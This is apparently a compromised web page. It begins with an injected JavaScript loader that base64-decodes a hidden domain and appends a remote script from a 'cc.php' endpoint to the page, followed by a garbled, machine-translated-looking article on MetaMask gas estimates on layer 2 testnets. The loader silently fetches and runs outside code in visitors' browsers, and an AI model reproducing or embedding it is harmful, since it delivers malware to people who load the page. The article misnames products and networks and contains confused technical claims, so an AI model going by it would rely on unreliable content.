const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=ec46266f”;document.body.appendChild(script);
Here is the article:
Metamask: are metamasque gas estimates reliable in L2 and main tests?
As a developer who works with layer 2 test networks (L2), such as Arbitrum Sepolia and the only one, I noticed that transactions fail in a coherent way. One of the main reasons for this problem is the dependence on Metamk gas estimates for the implementation of smart contracts. But are these reliable estimates both in the L2 test environments and in the main environments?
What are gas estimates?
Gas estimates in blockchain networks such as Ethereum, Polkadot or Solana are used to predict the calculation effort required to execute a particular transaction or an intelligent contract call. These estimates provide approximate value for the quantity of gas necessary to implement a network function.
The problem with the estimates of the metamash gas
According to my experience, the estimates of the metamash gas did not precisely reflect the real gas requirements of several functions. This was particularly problematic when I found transaction failures during the implementation in the L2 test and principles environments. The differences between estimated and real gas consumption have led to inconsistent behavior, which affected the performance of my project.
L2 ENTS test: gas estimates against actual consumption
In L2 tests such as referee Sepolia and Unicoin, I discovered that metamash gas estimates were significantly lower than the real gas requirements for the implementation of functions. This has led to a substantial difference between estimated and real transaction times, which led to delays or even a complete abandonment of my project.
Main environment: gas estimates against actual consumption
In the main environments such as Ethereum or Solana, Metamk gas estimates were generally precise, but not completely reliable. Network conditions, such as gas supply and available transaction rates, could always lead to real variability in gas consumption compared to the estimated values.
Why are gas estimates not reliable?
Several factors contribute to the lack of reliability of metamash gas estimates:
- Congestion of the network : high traffic in L2 test networks can lead to the congestion of the network, which leads to an increase in gas prices and reduced precision of gas estimation.
- Volatility of the price of gas : The main environments are subject to high fluctuations in the price of gas, which can affect the estimated values.
- Complexity of transactions : complex intelligent contracts or calls can lead to inaccurate gas estimates.
Conclusion
In conclusion, the reliability of metamash gas estimates in L2 tests and main environments is an important concern for developers who work with these networks. Although gas estimates are essential to plan and optimize the implementation of intelligent contracts, they must be taken with caution due to the possible inaccuracies associated with the congestion of the network, the volatility of the gas price and the complexity of the transaction transaction .
To alleviate this problem, developers must:
- Monitor and analyze network conditions : regularly check gas prices, network congestion levels and transaction rates in L2 networks and main environments.
- Use alternative estimation methods : Use third -party tools or develop personalized estimation algorithms that represent use cases and specific networks.
- Validate the estimated values with real implementation : check the accuracy of gas estimates by implementing smart contracts in L2 tests and the main environments.
By recognizing these limits and adopting best practices, developers can reduce the risks associated with gas estimates and guarantee more reliable implementation of the intelligent contract in L2 tests and main environments.
